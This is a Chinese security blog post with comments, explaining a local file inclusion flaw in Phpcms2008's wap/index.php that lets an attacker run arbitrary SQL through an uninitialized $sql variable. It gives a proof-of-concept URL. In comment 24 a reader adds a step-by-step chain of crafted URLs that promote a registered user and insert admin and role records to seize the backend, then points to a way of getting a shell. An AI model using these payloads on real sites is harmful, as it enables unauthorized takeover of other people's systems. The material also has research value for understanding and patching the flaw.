Sep
7

Phpcms2008本地文件包含漏洞及利用:任意SQL语句执行

最近一直做马后炮了,于是被人鄙视;但没办法,做出头鸟也被人嘲笑!反正这些玩意丢我这里也没啥用,只会烂在硬盘里!于是,只要有点风吹草动,我就公布吧。乌云的文章在此:http://www.wooyun.org/bug.php?action=view&id=497,文章暂时还没有公布详情...于是...我说一下。

Phpcms2008之前已经暴过很多问题了,但这个本地包含一直无人提起,小明曾经在t00ls里核心版块说过,但其实这个本地包含即使不通过旁注也是有办法利用的,那就是增加管理员或者修改管理员密码!

好了,先说本地包含,有几处,我不知道乌云上说的是哪一处,于是我就当其说的是最明显的那处吧。很明显的漏洞,不知道为啥还在phpcms中出现,先看代码:

文件在wap/index.php

<?php
include '../include/common.inc.php';
include 
'./include/global.func.php';
$lang = include './include/lang.inc.php';
if(
preg_match('/(mozilla|m3gate|winwap|openwave)/i'$_SERVER['HTTP_USER_AGENT'])) 
{
    
header('location:../');//判断,调试时先注释掉,from http://www.oldjun.com
}
wmlHeader($PHPCMS['sitename']);//判断,调试时先注释掉,from http://www.oldjun.com

$action = isset($action) && !empty($action) ? $action 'index';//直接把action带进来了,from http://www.oldjun.com

if($action
{
    include 
'./include/'.$action.'.inc.php';//本地包含,from http://www.oldjun.com
}

$html =  CHARSET != 'utf-8' iconv(CHARSET'utf-8'$html) : $html;
echo 
str_replace('
'
"
\n"
$html);
wmlFooter();
?>

去掉几处判断条件就可以调试了,action没有进行限制与过滤,然后悲剧的全局:

if($_REQUEST)
{
    if(MAGIC_QUOTES_GPC)
    {
        $_REQUEST = new_stripslashes($_REQUEST);
        if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
        extract($db->escape($_REQUEST), EXTR_SKIP);
    }
    else
    {
        $_POST = $db->escape($_POST);
        $_GET = $db->escape($_GET);
        $_COOKIE = $db->escape($_COOKIE);
        @extract($_POST,EXTR_SKIP);
        @extract($_GET,EXTR_SKIP);
        @extract($_COOKIE,EXTR_SKIP);
    }
    if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
    if($_COOKIE) $db->escape($_COOKIE);
}

于是可以成功本地包含,剩下来的就是这个本地包含怎么利用的问题了。包含的文件限制为*.inc.php,phpcms的开发者非常喜欢用这个命名规则,于是好多好多文件都是说明什么.inc.php,随便包含一个有利用价值的即可,随便找找:

formguide/admin/include/fields/datetime/field_add.inc.php

<?php 
if($dateformat == 'date')
{
    
$sql "ALTER TABLE `$tablename` ADD `$field` DATE NOT NULL DEFAULT '0000-00-00'";
}
elseif(
$dateformat == 'datetime')
{
    
$sql "ALTER TABLE `$tablename` ADD `$field` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00'";
}
elseif(
$dateformat == 'int')
{
    if(
$format)
    
$sql "ALTER TABLE `$tablename` ADD `$field` INT UNSIGNED NOT NULL DEFAULT '0'";
}

$db->query($sql);//$sql等于没有初始化,from http://www.oldjun.com
?>

$dateformat不初始化,$sql就没有初始化,于是直接可以执行了:

POC:
http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=select 1

共有25条评论

  1. toby57: Sep,7th,2010

    phpcms是个悲剧

  2. k4shifz: Sep,7th,2010

    嗯,有意思,又学到一点.

  3. k4shifz: Sep,7th,2010

    看mysql权限了

  4. 小柯: Sep,8th,2010

    phpcms自作孽啊。。。

  5. xhm1n9: Sep,8th,2010

    军牛最近高产啊!

  6. :D: Sep,8th,2010

    小弟不才,具体利用能否说说

  7. oldjun: Sep,9th,2010

    小明的更多啊,不发而已...还有toby牛,多发点~

    我发的都是老古董的!

  8. 路过: Sep,9th,2010

    http://www.baidu.com/s?tn=site888_pg&lm=-1&word=PhpCMS%D2%BB%B8%F6%C2%A9%B6%B4%B5%C4%B6%FE%B4%CE%C0%FB%D3%C3

  9. 俺是农村的: Sep,9th,2010

    phpcms

    注射 某某和某某,地方

    爆路径 FCK

    包含 多处

    简要描述:一切尽在不言中……,你懂得。
    详细说明:作者心里一定有撒念。
    修复方案:蛋定,一切都好。

  10. oldjun: Sep,9th,2010

    呵呵,还是农村娃实在~~~

  11. whoami: Sep,9th,2010

    updata了。。  但是 加了slat的  不对 要杂解决呢。。

  12. luc1f3r: Sep,9th,2010

    salt也可以update吧.- -

  13. 我路过: Sep,9th,2010

    updata可以,不知insert into可否?怎样实现?请高手指点

  14. oldjun: Sep,9th,2010

    http://www.baidu.com/s?tn=site888_pg&lm=-1&word=PhpCMS%D2%BB%B8%F6%C2%A9%B6%B4%B5%C4%B6%FE%B4%CE%C0%FB%D3%C3

    难道小马的文章呀~~~不错不错,学习学习~~~

  15. jannock: Sep,13th,2010

    wooyun 里发的是同一处。呵呵。。。

  16. 大头神仙: Sep,16th,2010

    我博客被黑了,署名老军,是你吗?

  17. killsite: Sep,20th,2010

    Od 能给个邀请码不咯  申请好多次无法成功.好渴望能进来,但是一直没机会

  18. 小鸡鸡: Sep,20th,2010

    请问博主是用什么调试来着?zend ?怎么找BUG的 ,菜鸟请教了~~~

  19. oldjun: Sep,21st,2010

    t00ls 没有开放邀请注册,自己申请!

    没调试工具,直接emeditor;php又不用编译,直接调试!

  20. nfl jerseys: Sep,26th,2010

    这代码有点复杂,看不懂,呵呵

  21. qq: Sep,30th,2010

    4e03ff9f18a1d473ef8e412e227fa1b2

  22. xpiaoyu: Oct,1st,2010

    hehe

  23. uggboots: Oct,10th,2010

    是有很明显的漏洞

  24. 雨中风铃: Oct,13th,2010

    你找的这个包含文件挺好用的,就是过程没写清楚

    先注册个用户,这里是123456,注意必须是数字的用户名

    用Opera浏览器依次访问:
    1、http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=UPDATE phpcms_member SET groupid=1 where userid=88

    userid改成自己的

    2、http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=UPDATE phpcms_member_cache SET groupid=1 where userid=88

    同样userid改成自己的

    3、http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=INSERT INTO phpcms_admin (userid,username,allowmultilogin,alloweditpassword) values(88,123456,1,1)

    这里的88是userid,123456是你注册的用户名

    4、http://127.0.0.1/phpcms/wap/index.php?action=../../formguide/admin/include/fields/datetime/field_add&sql=INSERT INTO phpcms_admin_role (userid,roleid) values(88,1)

    88是userid,1不要改。

    OK,可以用你注册的用户登录后台了

    phpcms2008后台拿shell可以参考:http://hi.baidu.com/txcbg/blog/item/deace6fec0abed3d5c600890.html

  25. zgg: Mar,1st,2011

    学习了,感谢后边补充的。

NAME:

required

E-MAIL:

required, will not be published

HOMEPAGE:

CONTENT:

VERIFY:(请输入A后的英文字母!)

required